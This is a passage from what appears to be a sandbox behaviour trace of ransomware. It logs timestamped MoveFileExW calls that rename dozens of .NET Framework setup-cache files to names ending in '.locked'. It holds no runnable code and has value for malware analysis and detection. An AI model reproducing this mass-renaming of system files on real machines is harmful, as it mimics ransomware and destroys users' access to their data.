dwFlags=0x2) returned 1 [0215.701] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1029\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1029\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1029\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1029\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0215.788] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1029\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1029\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1029\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1029\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0215.912] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1030\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1030\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1030\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1030\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0215.988] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1030\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1030\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1030\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1030\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0216.095] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1031\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1031\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1031\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1031\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0216.177] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1031\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1031\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1031\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1031\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0216.315] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1032\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1032\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1032\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1032\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0216.400] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1032\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1032\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1032\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1032\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0216.601] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1033\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1033\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1033\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1033\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0216.702] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1033\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1033\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1033\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1033\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0217.296] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1035\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1035\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1035\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1035\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0217.412] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1035\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1035\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1035\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1035\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0217.566] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1036\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1036\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1036\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1036\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0217.656] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1036\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1036\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1036\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1036\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0217.806] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1037\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1037\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1037\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1037\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0217.882] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1037\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1037\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1037\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1037\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0218.047] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1038\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1038\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1038\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1038\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0218.129] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1038\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1038\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1038\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1038\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0218.273] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1040\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1040\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1040\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1040\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0218.371] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1040\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1040\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1040\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1040\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0218.526] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1041\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1041\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1041\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1041\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0218.598] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1041\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1041\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1041\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1041\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0219.054] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1042\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1042\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1042\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1042\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0219.125] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1042\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1042\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1042\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1042\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0219.258] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1043\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1043\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1043\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1043\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0219.338] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1043\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1043\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1043\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1043\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0219.487] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1044\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1044\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1044\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1044\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0219.569] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1044\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1044\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1044\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1044\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0219.727] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1045\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1045\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1045\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1045\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0219.817] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1045\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1045\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1045\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1045\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0219.955] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1046\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1046\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1046\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1046\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0220.036] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1046\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1046\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1046\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1046\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0220.227] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1049\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1049\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1049\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1049\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0220.311] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1049\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1049\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1049\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1049\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0220.462] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1053\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1053\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1053\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1053\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0220.541] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1053\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1053\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1053\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1053\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0220.728] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1055\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1055\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1055\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1055\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0220.809] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1055\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1055\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\1055\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\1055\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0221.072] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0221.138] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2052\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0221.283] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0221.365] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\2070\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0221.707] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\eula.rtf" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082\\eula.rtf"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\eula.rtf.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082\\eula.rtf.locked"), dwFlags=0x2) returned 1 [0221.789] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\LocalizedData.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082\\localizeddata.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\LocalizedData.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\3082\\localizeddata.xml.locked"), dwFlags=0x2) returned 1 [0221.807] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\DHtmlHeader.html" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\dhtmlheader.html"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\DHtmlHeader.html.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\dhtmlheader.html.locked"), dwFlags=0x2) returned 1 [0221.847] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\header.bmp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\header.bmp"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\header.bmp.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\header.bmp.locked"), dwFlags=0x2) returned 1 [0222.380] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\ParameterInfo.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\parameterinfo.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\ParameterInfo.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\parameterinfo.xml.locked"), dwFlags=0x2) returned 1 [0222.496] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\SplashScreen.bmp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\splashscreen.bmp"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\SplashScreen.bmp.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\splashscreen.bmp.locked"), dwFlags=0x2) returned 1 [0222.513] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Strings.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\strings.xml"), 